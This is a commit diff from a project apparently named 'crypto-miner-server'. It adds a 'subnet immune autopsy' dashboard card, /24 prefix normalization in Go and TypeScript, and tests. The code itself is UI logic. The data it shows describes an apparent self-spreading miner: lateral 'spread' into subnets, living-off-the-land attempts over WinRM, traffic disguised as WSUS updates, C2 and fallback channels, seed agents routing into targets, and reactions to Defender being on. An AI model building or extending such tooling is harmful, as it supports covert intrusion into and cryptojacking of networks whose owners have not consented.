Complete subnet immune autopsy UI and prefix normalization.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Normalize /24 labels for autopsy API and cred-graph triggers; add Emberwake/Path Tracer autopsy cards and Vitest coverage for Seer feed consumers.
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -22,7 +23,18 @@ func NewSubnetImmune(database *db.Database) *SubnetImmune {
|
||||
|
||||
// PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key.
|
||||
func PrefixFromHostOrIP(hostOrSubnet string) string {
|
||||
return SubnetPrefix(hostOrSubnet)
|
||||
s := strings.TrimSpace(hostOrSubnet)
|
||||
s = strings.TrimSuffix(s, ".x")
|
||||
s = strings.TrimSuffix(s, ".0/24")
|
||||
s = strings.TrimSuffix(s, "/24")
|
||||
if prefix := SubnetPrefix(s); prefix != "" {
|
||||
return prefix
|
||||
}
|
||||
parts := strings.Split(s, ".")
|
||||
if len(parts) >= 3 && parts[0] != "" && parts[1] != "" && parts[2] != "" {
|
||||
return strings.Join(parts[:3], ".")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// RecordSpreadFailure increments subnet failure count; returns true when pause activates.
|
||||
|
||||
@@ -42,4 +42,10 @@ func TestPrefixFromHostOrIP(t *testing.T) {
|
||||
if got := PrefixFromHostOrIP("172.16.5.9"); got != "172.16.5" {
|
||||
t.Fatalf("prefix=%q", got)
|
||||
}
|
||||
if got := PrefixFromHostOrIP("10.0.0.x"); got != "10.0.0" {
|
||||
t.Fatalf("label prefix=%q", got)
|
||||
}
|
||||
if got := PrefixFromHostOrIP("10.2.2"); got != "10.2.2" {
|
||||
t.Fatalf("bare prefix=%q", got)
|
||||
}
|
||||
}
|
||||
|
||||
84
server/web/src/components/Atlas/SubnetAutopsyCard.css
Normal file
84
server/web/src/components/Atlas/SubnetAutopsyCard.css
Normal file
@@ -0,0 +1,84 @@
|
||||
.subnet-autopsy-card {
|
||||
--deck-card-accent-bar: #f43f5e;
|
||||
margin-top: 1rem;
|
||||
padding: 1rem 1.1rem;
|
||||
border-left: 3px solid var(--deck-card-accent-bar, #f43f5e);
|
||||
}
|
||||
|
||||
.subnet-autopsy-card--compact {
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.subnet-autopsy-card--loading {
|
||||
opacity: 0.7;
|
||||
font-family: var(--font-mono, monospace);
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.subnet-autopsy-header h3 {
|
||||
margin: 0.2rem 0 0.5rem;
|
||||
font-size: 1rem;
|
||||
}
|
||||
|
||||
.subnet-autopsy-eyebrow {
|
||||
font-size: 0.65rem;
|
||||
letter-spacing: 0.12em;
|
||||
color: #f43f5e;
|
||||
font-family: var(--font-tech, monospace);
|
||||
}
|
||||
|
||||
.subnet-autopsy-cause {
|
||||
white-space: pre-wrap;
|
||||
font-size: 0.82rem;
|
||||
line-height: 1.45;
|
||||
margin: 0 0 0.75rem;
|
||||
color: #e8edf5;
|
||||
}
|
||||
|
||||
.subnet-autopsy-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(140px, 1fr));
|
||||
gap: 0.5rem 1rem;
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.subnet-autopsy-label {
|
||||
display: block;
|
||||
font-size: 0.62rem;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.08em;
|
||||
color: #8899aa;
|
||||
margin-bottom: 0.15rem;
|
||||
}
|
||||
|
||||
.subnet-autopsy-value {
|
||||
font-family: var(--font-mono, monospace);
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.subnet-autopsy-attempts ul,
|
||||
.subnet-autopsy-gossip ul {
|
||||
margin: 0.25rem 0 0;
|
||||
padding-left: 1.1rem;
|
||||
font-family: var(--font-mono, monospace);
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
|
||||
.subnet-autopsy-attempts li.fail {
|
||||
color: #ff8a7a;
|
||||
}
|
||||
|
||||
.subnet-autopsy-attempts li.ok {
|
||||
color: #7dffb2;
|
||||
}
|
||||
|
||||
.subnet-autopsy-vaccination {
|
||||
margin-top: 0.65rem;
|
||||
padding-top: 0.65rem;
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.subnet-autopsy-vaccination p {
|
||||
margin: 0.2rem 0 0;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
61
server/web/src/components/Atlas/SubnetAutopsyCard.test.tsx
Normal file
61
server/web/src/components/Atlas/SubnetAutopsyCard.test.tsx
Normal file
@@ -0,0 +1,61 @@
|
||||
import { render, screen, waitFor } from '@testing-library/react';
|
||||
import { describe, expect, it, vi, beforeEach } from 'vitest';
|
||||
import * as api from '../../api/client';
|
||||
import SubnetAutopsyCard from './SubnetAutopsyCard';
|
||||
|
||||
describe('SubnetAutopsyCard', () => {
|
||||
beforeEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it('renders cause-of-death and vaccination lane for paused subnet', async () => {
|
||||
vi.spyOn(api.api, 'getSubnetAutopsy').mockResolvedValue({
|
||||
prefix: '10.0.0',
|
||||
triggered_at: '2026-06-07T12:00:00Z',
|
||||
fail_count: 5,
|
||||
lotl_attempts: [{ tier: 'winrm', ok: false, error: 'denied' }],
|
||||
wsus_mimic: { format_mimic_enabled: true, cache_peer_lane: 'wsus_cache_peer' },
|
||||
persona: 'silent',
|
||||
erasure_fallback: { erasure_lanes_enabled: true, available_as_fallback: true },
|
||||
gossip_whispers: [{ tier: 'docker', condition: 'defender_on', reason: 'lan gossip' }],
|
||||
cause_of_death: 'Subnet 10.0.0 immune pause: 5 spread failures triggered 24h quarantine.',
|
||||
vaccination_lane: {
|
||||
target_subnet: '10.0.0',
|
||||
seed_agent_id: 'seed-1',
|
||||
seed_agent_name: 'Seed Hop',
|
||||
egress_agent_id: 'seed-1',
|
||||
join_lane: 'do_peer',
|
||||
score: 0.82,
|
||||
},
|
||||
});
|
||||
|
||||
render(<SubnetAutopsyCard subnet="10.0.0.x" />);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText(/immune pause/i)).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText(/Seed Hop/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/winrm/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/docker @ defender_on/)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders nothing when subnet is not paused', async () => {
|
||||
vi.spyOn(api.api, 'getSubnetAutopsy').mockResolvedValue({
|
||||
prefix: '10.0.0',
|
||||
triggered_at: '2026-06-07T12:00:00Z',
|
||||
fail_count: 2,
|
||||
lotl_attempts: [],
|
||||
wsus_mimic: { format_mimic_enabled: true, cache_peer_lane: 'wsus_cache_peer' },
|
||||
persona: 'balanced',
|
||||
erasure_fallback: { erasure_lanes_enabled: false, available_as_fallback: false },
|
||||
gossip_whispers: [],
|
||||
cause_of_death: '',
|
||||
});
|
||||
|
||||
const { container } = render(<SubnetAutopsyCard subnet="10.0.0" />);
|
||||
await waitFor(() => {
|
||||
expect(api.api.getSubnetAutopsy).toHaveBeenCalled();
|
||||
});
|
||||
expect(container).toBeEmptyDOMElement();
|
||||
});
|
||||
});
|
||||
136
server/web/src/components/Atlas/SubnetAutopsyCard.tsx
Normal file
136
server/web/src/components/Atlas/SubnetAutopsyCard.tsx
Normal file
@@ -0,0 +1,136 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { SubnetAutopsyPacket } from '../../types';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import './SubnetAutopsyCard.css';
|
||||
|
||||
interface Props {
|
||||
subnet: string;
|
||||
compact?: boolean;
|
||||
}
|
||||
|
||||
export default function SubnetAutopsyCard({ subnet, compact = false }: Props) {
|
||||
const [packet, setPacket] = useState<SubnetAutopsyPacket | null>(null);
|
||||
const [error, setError] = useState('');
|
||||
const [loading, setLoading] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
const prefix = subnet.trim();
|
||||
if (!prefix) {
|
||||
setPacket(null);
|
||||
return;
|
||||
}
|
||||
let cancelled = false;
|
||||
setLoading(true);
|
||||
setError('');
|
||||
api.getSubnetAutopsy(prefix)
|
||||
.then((pkt) => {
|
||||
if (!cancelled) setPacket(pkt);
|
||||
})
|
||||
.catch((e: unknown) => {
|
||||
if (!cancelled) {
|
||||
setError(e instanceof Error ? e.message : 'Autopsy unavailable');
|
||||
setPacket(null);
|
||||
}
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setLoading(false);
|
||||
});
|
||||
return () => { cancelled = true; };
|
||||
}, [subnet]);
|
||||
|
||||
if (!subnet.trim()) return null;
|
||||
if (loading && !packet) {
|
||||
return <div className="subnet-autopsy-card subnet-autopsy-card--loading">Loading immune autopsy…</div>;
|
||||
}
|
||||
if (error && !packet) {
|
||||
return null;
|
||||
}
|
||||
if (!packet || packet.fail_count < 5) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const lane = packet.vaccination_lane;
|
||||
|
||||
return (
|
||||
<section
|
||||
className={`subnet-autopsy-card operator-deck-card${compact ? ' subnet-autopsy-card--compact' : ''}`}
|
||||
aria-label={`Subnet immune autopsy for ${packet.prefix}`}
|
||||
>
|
||||
<header className="subnet-autopsy-header">
|
||||
<span className="subnet-autopsy-eyebrow">IMMUNE RESPONSE</span>
|
||||
<h3>
|
||||
/24 Autopsy — {packet.prefix}.x
|
||||
<HelpTip field="subnet_immune_autopsy" />
|
||||
</h3>
|
||||
</header>
|
||||
|
||||
<p className="subnet-autopsy-cause">{packet.cause_of_death}</p>
|
||||
|
||||
<div className="subnet-autopsy-grid">
|
||||
<div>
|
||||
<span className="subnet-autopsy-label">Persona</span>
|
||||
<span className="subnet-autopsy-value">{packet.persona}</span>
|
||||
</div>
|
||||
<div>
|
||||
<span className="subnet-autopsy-label">WSUS mimic</span>
|
||||
<span className="subnet-autopsy-value">
|
||||
{packet.wsus_mimic.format_mimic_enabled ? 'cab.partial on' : 'off'}
|
||||
{packet.wsus_mimic.recent_join_lane ? ` · ${packet.wsus_mimic.recent_join_lane}` : ''}
|
||||
</span>
|
||||
</div>
|
||||
<div>
|
||||
<span className="subnet-autopsy-label">Erasure fallback</span>
|
||||
<span className="subnet-autopsy-value">
|
||||
{packet.erasure_fallback.available_as_fallback ? 'RS lanes ready' : 'C2 primary'}
|
||||
</span>
|
||||
</div>
|
||||
<div>
|
||||
<span className="subnet-autopsy-label">Failures</span>
|
||||
<span className="subnet-autopsy-value">{packet.fail_count} → 24h pause</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{packet.lotl_attempts.length > 0 && (
|
||||
<div className="subnet-autopsy-attempts">
|
||||
<span className="subnet-autopsy-label">Last LOTL attempts</span>
|
||||
<ul>
|
||||
{packet.lotl_attempts.map((a, i) => (
|
||||
<li key={`${a.tier}-${i}`} className={a.ok ? 'ok' : 'fail'}>
|
||||
{a.tier}
|
||||
{a.agent_name ? ` (${a.agent_name})` : ''}
|
||||
{a.ok ? ' ✓' : ` ✗ ${a.error ?? ''}`}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{packet.gossip_whispers.length > 0 && (
|
||||
<div className="subnet-autopsy-gossip">
|
||||
<span className="subnet-autopsy-label">Atlas gossip whispers</span>
|
||||
<ul>
|
||||
{packet.gossip_whispers.map((h, i) => (
|
||||
<li key={`${h.tier}-${h.condition}-${i}`}>
|
||||
{h.tier} @ {h.condition}
|
||||
{h.reason ? ` — ${h.reason}` : ''}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{lane && (
|
||||
<div className="subnet-autopsy-vaccination">
|
||||
<span className="subnet-autopsy-label">Vaccination lane</span>
|
||||
<p>
|
||||
Route via <strong>{lane.seed_agent_name ?? lane.seed_agent_id.slice(0, 8)}</strong>
|
||||
{lane.join_lane ? ` · ${lane.join_lane}` : ''}
|
||||
{lane.erasure_lanes_enabled ? ' · RS lanes' : ''}
|
||||
{lane.score ? ` · score ${lane.score.toFixed(2)}` : ''}
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</section>
|
||||
);
|
||||
}
|
||||
27
server/web/src/help/subnetAutopsy.test.ts
Normal file
27
server/web/src/help/subnetAutopsy.test.ts
Normal file
@@ -0,0 +1,27 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { parseSeerSubnetAutopsy, subnetAutopsyPrefix } from './subnetAutopsy';
|
||||
|
||||
describe('subnetAutopsy helpers', () => {
|
||||
it('parses seer subnet immune autopsy events', () => {
|
||||
const ev = parseSeerSubnetAutopsy({
|
||||
type: 'subnet_immune_autopsy',
|
||||
prefix: '10.0.0',
|
||||
cause: 'Subnet 10.0.0 immune pause',
|
||||
packet: { prefix: '10.0.0', fail_count: 5, cause_of_death: 'paused' },
|
||||
});
|
||||
expect(ev?.prefix).toBe('10.0.0');
|
||||
expect(ev?.cause).toContain('immune pause');
|
||||
expect(ev?.packet?.fail_count).toBe(5);
|
||||
});
|
||||
|
||||
it('rejects non-autopsy seer payloads', () => {
|
||||
expect(parseSeerSubnetAutopsy({ type: 'court_debate' })).toBeNull();
|
||||
expect(parseSeerSubnetAutopsy(null)).toBeNull();
|
||||
});
|
||||
|
||||
it('normalizes subnet labels to /24 prefix', () => {
|
||||
expect(subnetAutopsyPrefix('10.0.0.x')).toBe('10.0.0');
|
||||
expect(subnetAutopsyPrefix('10.0.0/24')).toBe('10.0.0');
|
||||
expect(subnetAutopsyPrefix('192.168.5.12')).toBe('192.168.5');
|
||||
});
|
||||
});
|
||||
34
server/web/src/help/subnetAutopsy.ts
Normal file
34
server/web/src/help/subnetAutopsy.ts
Normal file
@@ -0,0 +1,34 @@
|
||||
import type { SubnetAutopsyPacket } from '../types';
|
||||
|
||||
export interface SeerSubnetAutopsyEvent {
|
||||
type: 'subnet_immune_autopsy';
|
||||
prefix: string;
|
||||
triggered?: string;
|
||||
cause?: string;
|
||||
packet?: SubnetAutopsyPacket;
|
||||
}
|
||||
|
||||
export function parseSeerSubnetAutopsy(payload: unknown): SeerSubnetAutopsyEvent | null {
|
||||
if (!payload || typeof payload !== 'object') return null;
|
||||
const raw = payload as Record<string, unknown>;
|
||||
if (raw.type !== 'subnet_immune_autopsy') return null;
|
||||
const prefix = typeof raw.prefix === 'string' ? raw.prefix.trim() : '';
|
||||
if (!prefix) return null;
|
||||
return {
|
||||
type: 'subnet_immune_autopsy',
|
||||
prefix,
|
||||
triggered: typeof raw.triggered === 'string' ? raw.triggered : undefined,
|
||||
cause: typeof raw.cause === 'string' ? raw.cause : undefined,
|
||||
packet: raw.packet as SubnetAutopsyPacket | undefined,
|
||||
};
|
||||
}
|
||||
|
||||
/** Normalize subnet labels to /24 prefix keys used by the API. */
|
||||
export function subnetAutopsyPrefix(label: string): string {
|
||||
const s = label.trim().replace(/\.x$/i, '').replace(/\/24$/, '');
|
||||
const parts = s.split('.');
|
||||
if (parts.length >= 3) {
|
||||
return `${parts[0]}.${parts[1]}.${parts[2]}`;
|
||||
}
|
||||
return s;
|
||||
}
|
||||
Reference in New Issue
Block a user